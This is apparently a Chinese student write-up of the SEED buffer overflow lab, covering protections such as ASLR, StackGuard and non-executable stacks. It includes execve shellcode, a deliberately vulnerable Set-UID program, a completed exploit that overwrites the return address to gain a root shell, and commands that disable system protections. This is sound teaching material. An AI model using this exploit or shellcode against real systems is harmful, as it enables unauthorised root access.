文章目录

  • 一、实验要求
  • 二、 实验环境
  • 三、 实验步骤
    • (一) 准备工作
    • (二) 实验任务:
      • Task 1 : Running Shellcode
      • Task 2:Exploiting the Vulnerability
      • Task 3: Defeating dash’s Countermeasure
      • Task 4: Defeating Address Randomization
      • Task 5: Turn on the StackGuard Protection
      • Task 6: Turn on the Non-executable Stack Protection

一、实验要求

本实验的学习目标是让学生将他们从实际操作中学到的关于缓冲区溢出漏洞的知识,从而获得缓冲区溢出漏洞的第一手经验。缓冲区溢出定义为程序试图写入超出预先分配的固定长度缓冲区边界的数据的情况。此漏洞可被恶意用户用来改变程序的流控制,从而导致恶意代码的执行。这个漏洞是由于数据存储器(例如缓冲区)和控件存储器(例如返回地址)的混合而引起的: 数据部分的溢出会影响程序的控制流,因为溢出可以更改返回地址。
在这个实验中,将通过一个具有缓冲区溢出漏洞的程序,建立一个利用该漏洞并最终获得根特权的方案。除了攻击之外,还将学习在操作系统中实现的几个防止缓冲区溢出攻击的保护方案。本实验涵盖以下主题:
• Buffer overflow vulnerability and attack 缓冲区溢出漏洞和攻击
• Stack layout in a function invocation 函数调用中的堆栈布局
• Shellcode shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
• Address randomization 地址随机化
• Non-executable stack 不可执行的堆栈
• StackGuard 堆栈保护

二、 实验环境

SEEDUbuntu(Ubuntu 16.04)

三、 实验步骤

(一) 准备工作

Ubuntu和其他Linux发行版已经实现了几种安全机制,以使缓冲区溢出攻击变得困难。为了简化攻击,我先禁用它们。然后再我们将一一启用它们,并查看我们的攻击是否仍然可以成功。

地址空间随机化:
Ubuntu和其他几个基于Linux的系统使用地址空间随机化来随机化堆和栈的起始地址。这使得猜测确切的地址变得困难。猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验中,我们使用以下命令禁用此功能:

$ sudo sysctl -w kernel.randomize_va_space=0

StackGuard保护方案:
GCC编译器实现了一种称为StackGuard的安全机制,以防止缓冲区溢出。在这种保护的情况下,缓冲区溢出攻击将不起作用。我们可以在编译期间使用-fno-stack-protector选项禁用此保护。例如,要在禁用StackGuard的情况下编译程序example.c,我们可以执行以下操作:

$ gcc -fno-stack-protector example.c

不可执行的堆栈:
Ubuntu曾经允许可执行堆栈,但是现在已经发生了变化:程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,即它们需要在程序标头中标记一个字段。内核或动态链接器使用此标记来决定是使此正在运行的程序的堆栈是可执行的还是不可执行的。标记是由最新版本的gcc自动完成的,默认情况下,堆栈设置为不可执行。要更改此设置,请在编译程序时使用以下选项:
对于可执行堆栈:

$ gcc -z execstack -o test test.c

对于不可执行堆栈:

$ gcc -z noexecstack -o test test.c

配置 /bin/sh
在Ubuntu 12.04和Ubuntu 16.04 VM中,/bin/sh 符号链接均指向/bin/dash shell。但是,这两个VM中的dash程序有重要区别。Ubuntu 16.04中的dash shell 有一个对策,可防止自身在Set-UID进程中执行。基本上,如果dash检测到它是在Set-UID进程中执行的,它将立即将有效用户ID更改为该进程的真实用户ID,从而实质上删除了特权。Ubuntu 12.04中的dash程序没有此行为。
由于我们的受害者程序是Set-UID程序,并且我们的攻击依赖于运行/bin/sh,因此/bin/dash中的对策使我们的攻击更加困难。因此,我们将/bin/sh链接到另一个没有这种对策的Shell程序(在以后的任务中,我们将展示出一点点的努力,就可以轻易克服/bin/dash中的对策)。我们已经在Ubuntu 16.04 VM中安装了名为zsh的Shell程序。我们使用以下命令将/bin/sh链接到zsh

$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh

(二) 实验任务:

Task 1 : Running Shellcode

Step 1:
在开始攻击之前,让我们熟悉一下shellcode。Shellcode是启动Shell的代码,必须将其加载到内存中,以便我们可以迫使易受攻击的程序跳转至该内存。考虑以下程序:

#include<stdio.h>
int main()
{char* name[2];name[0]= "/bin/sh";name[1]=NULL;execve(name[0],name,NULL);
}

我们使用的shellcode只是上述程序的汇编版本。以下程序显示了如何通过执行存储在缓冲区中的shellcode来启动shell。

/* call_shellcode.c  *//*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>const char code[] ="\x31\xc0"             /* xorl    %eax,%eax              */"\x50"                 /* pushl   %eax                   */"\x68""//sh"           /* pushl   $0x68732f2f            */"\x68""/bin"           /* pushl   $0x6e69622f            */"\x89\xe3"             /* movl    %esp,%ebx              */"\x50"                 /* pushl   %eax                   */"\x53"                 /* pushl   %ebx                   */"\x89\xe1"             /* movl    %esp,%ecx              */"\x99"                 /* cdq                            */"\xb0\x0b"             /* movb    $0x0b,%al              */"\xcd\x80"             /* int     $0x80                  */
;int main(int argc, char **argv)
{char buf[sizeof(code)];strcpy(buf, code);((void(*)( ))buf)( );

使用以下gcc命令编译以上代码。运行程序并描述您的观察结果。使用execstack选项,该选项允许从堆栈执行代码。

$ gcc -z execstack -o call_shellcode call_shellcode.c


上面的shellcode调用execve()系统调用来执行/bin/sh。

  1. 首先,第三条指令将“//sh”而不是“/sh”压入堆栈。这是因为我们在这里需要一个32位数字,而“/sh”只有24位。 “//”等效于“/”,因此我们可以避免使用双斜杠符号。
  2. 其次,在调用execve()系统调用之前,我们需要将name[0](字符串的地址),name(数组的地址)和NULL分别存储到%ebx,%ecx和%edx寄存器中。第5行将name [0]存储到%ebx;第8行将名称存储到%ecx;第9行将%edx设置为零。还有其他方法可以将%edx设置为零(例如xorl%edx,%edx); 这里使用的那个(cdq)只是一条较短的指令:它将EAX寄存器中的值的符号(第31位)(此时为0)复制到EDX寄存器的每个位位置,基本上将%edx设置为 0。
  3. 第三,当我们将%al设置为11并执行“int $0x80”时,系统调用execve()被调用。

Step 2:
提供以下程序,该程序在Line➀中具有缓冲区溢出漏洞。您的工作是利用此漏洞并获得root特权。

/* stack.c *//* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[24];/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}

编译上述易受攻击的程序。包括-fno-stack-protector和“-z execstack”选项,以关闭StackGuard和不可执行的堆栈保护。编译之后,我们需要使该程序成为root拥有的Set-UID程序。我们可以通过首先将程序的所有权更改为root(第Line行),然后将权限更改为4755以启用Set-UID位(第Line)来实现此目的。
应当注意,更改所有权必须在开启Set-UID位之前完成,因为所有权更改将导致Set-UID位被关闭。

$ gcc -g -o stack -z execstack -fno-stack-protector stack.c //必须要有-g
$ sudo chown root stack ①
$ sudo chmod 4755 stack ②

上面的程序有一个缓冲区溢出漏洞。它首先从名为badfile的文件中读取输入,然后将该输入传递到函数bof()中的另一个缓冲区。原始输入的最大长度可以为517个字节,但是bof()中的缓冲区只有24个字节长。由于strcpy()不检查边界,因此会发生缓冲区溢出。由于此程序是Set-root-UID程序,因此,如果普通用户可以利用此缓冲区溢出漏洞,则普通用户可能能够获得root shell。应当注意,程序从名为badfile的文件获取其输入。该文件受用户控制。现在,我们的目标是为badfile创建内容,以便当易受攻击的程序将内容复制到其缓冲区中时,可以生成root shell。

此时stack中的badfile文件还未建立,因此在下一个实验中建立完badfile文件后再执行。

Task 2:Exploiting the Vulnerability

本任务提供了部分完成的利用代码,为“exploit.c”。该代码的目的是为badfile构造内容。

/* exploit.c  *//* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]="\x31\xc0"             /* xorl    %eax,%eax              */"\x50"                 /* pushl   %eax                   */"\x68""//sh"           /* pushl   $0x68732f2f            */"\x68""/bin"           /* pushl   $0x6e69622f            */"\x89\xe3"             /* movl    %esp,%ebx              */"\x50"                 /* pushl   %eax                   */"\x53"                 /* pushl   %ebx                   */"\x89\xe1"             /* movl    %esp,%ecx              */"\x99"                 /* cdq                            */"\xb0\x0b"             /* movb    $0x0b,%al              */"\xcd\x80"             /* int     $0x80                  */
;void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */ strcpy(buffer+100,shellcode);           //将shellcode拷贝至bufferstrcpy(buffer+0x24,"\xfb\xea\xff\xbf");     //在buffer特定偏移处起始的四个字节覆盖sellcode地址/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}

完成上述程序后,编译并运行它。这将生成badfile的内容。然后运行易受攻击的程序stack.c。如果您的漏洞利用程序正确实施,则应该能够获得root shell。

Step 1:
怎么得到这里偏移的位置呢?
方法:gdb下调试stack,获取shellcode地址和bof函数执行后返回地址。首先这里需要强调一下必须在gcc编译时加上-g选项才可以使用gdb调试。
(1)获取shellcode地址

$ gdb stack
(gdb) b main
(gdb) r
(gdb) p /x &str



从上图可以看到,漏洞程序读取badfile 文件到缓冲区str,且str的地址为0xbfffea97,计算shellcode偏移量100(0x64),则shellcode地址为0xbfffeafb。

(2)计算bof函数执行后返回地址
接下来就应该获取bof函数执行后的返回地址了,在这之前我们需要知道函数调用过程中的堆栈帧结构。
因为bof函数调用了strcpy函数,即把从文件读入的数据备份进了自己的缓冲区,为了实现shellcode地址覆盖掉返回地址,我们需要知道返回地址相对于buffer的偏移量,这样我们在构造badfile文件时在相应偏移量出写上shellcode地址即可。

结合上面两幅图我们可以知道,在进入bof函数前,先向栈内压入了函数实参str的地址,然后是返回地址,随后进入函数,压入ebp寄存器(老),再修改ebp(新)和设置esp(分配存储空间)。从反汇编代码中可以知道buffer首地址距ebp的偏移为0x20,则距返回地址的偏移为0x24。

Step 2:
编译执行exploit.c,会得到一个badfile文件,然后使用漏洞程序stack.c进行测试。
需要注意的是,生成badfile的程序exploit.c可以在启用默认StackGuard保护的情况下进行编译。这是因为我们不会在该程序中溢出缓冲区。我们将溢出stack.c中的缓冲区,该缓冲区是在禁用StackGuard保护的情况下编译的。

Task 3: Defeating dash’s Countermeasure

一种方法是不在 shell 代码中调用/bin/sh; 相反,我们可以调用另一个 shell 程序。这种方法需要另一个 shell 程序,比如zsh。另一种方法是在调用 dash 程序之前将受害者进程的真实用户 ID 更改为零。我们可以通过在 shell 代码中执行 execve ()之前调用 setuid (0)来实现这一点。在这个任务中,我们将使用这种方法。我们将首先更改/bin/sh 符号链接,这样它就会指向/bin/dash:

为了了解 dash 中的对策是如何工作的,以及如何使用系统调用 setuid (0)来击败它,我们在stack中编写了以下程序。

上面的程序可以使用以下命令编译和设置(我们需要使它成为 root 拥有的 Set-UID 程序) :

从上面的实验中,我们可以看出 seuid (0)有所不同。让我们在 shell 代码的开头添加用于调用这个系统调用的汇编代码,然后再调用 execve ()。

Step 1:
我们首先注释掉前四行并以 Set-UID 程序运行该程序(所有者应该是 root) ,可以观察到进入到一个普通shell:

Step 2:
我们取消注释前四行并以 Set-UID 程序运行该程序(所有者应该是 root) ,可以观察到进入到一个root shell:

Task 4: Defeating Address Randomization

在32位 Linux 机器上,栈只有19位的熵,这意味着栈基地址可能有524,288种可能性。这个数字不是很高,而且可以通过蛮力方法轻易地耗尽。在这个任务中,我们使用这种方法来击败我们的32位 VM 上的地址随机化对策。首先,我们使用以下命令打开 Ubuntu 的地址随机化。我们运行在任务2中开发的相同攻击。请描述并解释你的观察。

然后,我们使用暴力破解方法反复攻击易受攻击的程序,希望我们放在坏文件中的地址最终可以是正确的。可以使用以下 shell 脚本在无限循环中运行易受攻击的程序。如果攻击成功,脚本将停止; 否则,它将继续运行。

Task 5: Turn on the StackGuard Protection

在进行这项任务之前,请记住首先关闭地址随机化,否则您将不知道哪种保护有助于实现保护。在我们之前的任务中,我们在编译程序时禁用了 GCC 中的 StackGuard 保护机制。在这个任务中,你可以考虑在 StackGuard 面前重复任务2。为此,应该在编译程序时不使用-fno-stack-protector 选项。对于这个任务,您将重新编译易受攻击的程序 stack.c,以使用 GCC StackGuard,再次执行任务1。

在 GCC 4.3.3及以上版本中,StackGuard 是默认启用的。因此,您必须使用前面提到的开关禁用 StackGuard。在早期版本中,默认情况下是禁用的。
重新编译stack之后我们可以观察到如下图所示的结果:

Task 6: Turn on the Non-executable Stack Protection

在进行这项任务之前,请记住首先关闭地址随机化,否则您将不知道哪种保护有助于实现保护。在我们之前的任务中,我们故意使堆栈可执行。在这个任务中,我们使用 noexecstack 选项重新编译易受攻击的程序,并在 Task 2中重复攻击。可以使用下列指令打开非可执行堆栈保护。

应该注意的是,非可执行堆栈只能使在堆栈上运行 shell 代码,但它不能防止缓冲区溢出攻击,因为在利用缓冲区溢出漏洞之后,还有其他方法来运行恶意代码。

软件安全漏洞挖掘:Buffer_Overflow相关推荐

  1. c++ 界面交互影响处理代码执行速度_原创 | 某SCADA的远程代码执行漏洞挖掘与利用...

    作者 | 绿盟科技格物实验室 陈杰 前言 近年来网络安全形势日渐严峻,国内外都开始对工控安全越来越重视,而工控领域由于常年来对安全的忽视,导致暴露出数量惊人的严重安全漏洞,更为严重的是,相当一部分厂商 ...

  2. 漏洞挖掘、漏洞分析和漏洞利用

    漏洞挖掘.漏洞分析和漏洞利用     利用漏洞进行***可以大致分为漏洞挖掘.漏洞分析.漏洞利用三个步骤.这三部分所用的技术有相同之处,比如都需要精通系统底层知识.逆向工程等:同时也有一定的差异. 1 ...

  3. 基于固件的漏洞挖掘方法梳理

    相关论文 方案 2013 Fie on firmware: Finding vulnerabilities in embedded systems using symbolic execution, ...

  4. 视频教程-PC游戏逆向思维-漏洞挖掘-网络技术

    PC游戏逆向思维-漏洞挖掘 90后,游戏作弊工程师,从事开发4-5年,擅长语言:C,C++ 领域:服务器开发,精通MFC,STL,Boost,熟悉TCP/IP协议,熟练运用IOCP完成端口模型,线程池 ...

  5. 【安全牛学习笔记】手动漏洞挖掘(三)

    手动漏洞挖掘 Directory travarsal / File include(有区别/没区别) 目录权限限制不严 / 文件包含 /etc/php5/cgi/php.ini allow_url_i ...

  6. shodan 渗透测试 漏洞挖掘 一些用法

    渗透测试中,第一阶段就是信息搜集,这一阶段完成的如何决定了你之后的进行是否顺利,是否更容易.而关于信息收集的文章网上也是有太多.今天我们来通过一些例子来讲解如何正确使用Shodan这一利器. 想要利用 ...

  7. ie 打开后端发过来的pdf_某办公软件PDF阅读器漏洞挖掘及Crash分析

    摘要 本文主要讲述如何利用winafl对***pdf阅读器程序进行漏洞挖掘的过程. 准备 winafl.DynamoRIO ***pdf(11.6.0.8537)32位 测试环境:win7 32位.4 ...

  8. 某设备产品漏洞挖掘-从JS文件挖掘RCE

    前言 某次渗透过程中碰到了个设备产品,通过一些黑盒测试小技巧获取目标权限 信息收集 [点击获取网络安全学习资料·攻略] 2000多本网络安全系列电子书 网络安全标准题库资料 项目源码 网络安全基础入门 ...

  9. 【安全漏洞】一次前台任意文件下载漏洞挖掘

    1.起因 日常闲逛,翻到了某后台系统 先是日常手法操作了一番,弱口令走起 admin/123456 yyds! U1s1,这个后台功能点少的可怜,文件上传点更是别想 不过那个备份管理的界面引起了我的兴 ...

最新文章

  1. 解决linux mysql命令 bash: mysql: command not found 的方法
  2. Fusion360操作记录
  3. 关于汉诺塔非递归算法的一点思考
  4. 还在懵懂状态?给处于初/中级阶段的数据分析师的两三点建议
  5. 第一次摸服务器遇到的问题总结
  6. 服务器被黑 追寻ip_我的服务器被打死,源IP暴露怎么办补救
  7. 【LeetCode】剑指 Offer 55 - I. 二叉树的深度
  8. 第T题 详解放苹果(递归) =========== 把M个同样的苹果放在N个同样的盘子里,允许有的盘子空着不放,问共有多少种不同的分法?(用K表示)5,1,1和1,5,1 是同一种分法。
  9. 深入理解Nacos源码注册中心之服务发现(订阅拉取)
  10. cydia加载未能连接服务器请求超时,win7专业版中cydia无法加载请求超时解决方案...
  11. MybatisPlus官方文档
  12. 一句口诀记住 OSI七层协议模型
  13. Spy++ —— 窗口、消息查看分析利器
  14. vite:配置ip访问
  15. 哈工大计算机网络-作业讲解
  16. KSO-.NETCore中配置swagger分级
  17. [LUOGU] P3354 [IOI2005]Riv 河流
  18. linux和windows两台电脑通信,synergy-两台电脑共享一套鼠标键盘-Linuxwindows详细教程...
  19. Android Graphics Tests 程序学习01
  20. 全球及中国单相固态继电器行业规模预测及产值分析报告2022~2027年

热门文章

  1. 安卓系统 input聚焦问题
  2. 中国石油大学《化学反应工程》第二阶段在线作业
  3. DB2数据库设置归档模式
  4. zdm各命令的功能和作用_zdm软件命令大全.xls
  5. WebSocket实现消息推送
  6. 实施养老院人员定位系统原因浅析,新导智能养老院人员定位
  7. 抖音如何导流到微信?抖音官网链接引导加微信的设置
  8. antd Design Form表单的简单理解
  9. 基于JAVA实现简易版泡泡堂小游戏
  10. 视频转换软件哪个好?万兴优转-支持超过1000种格式转换和输出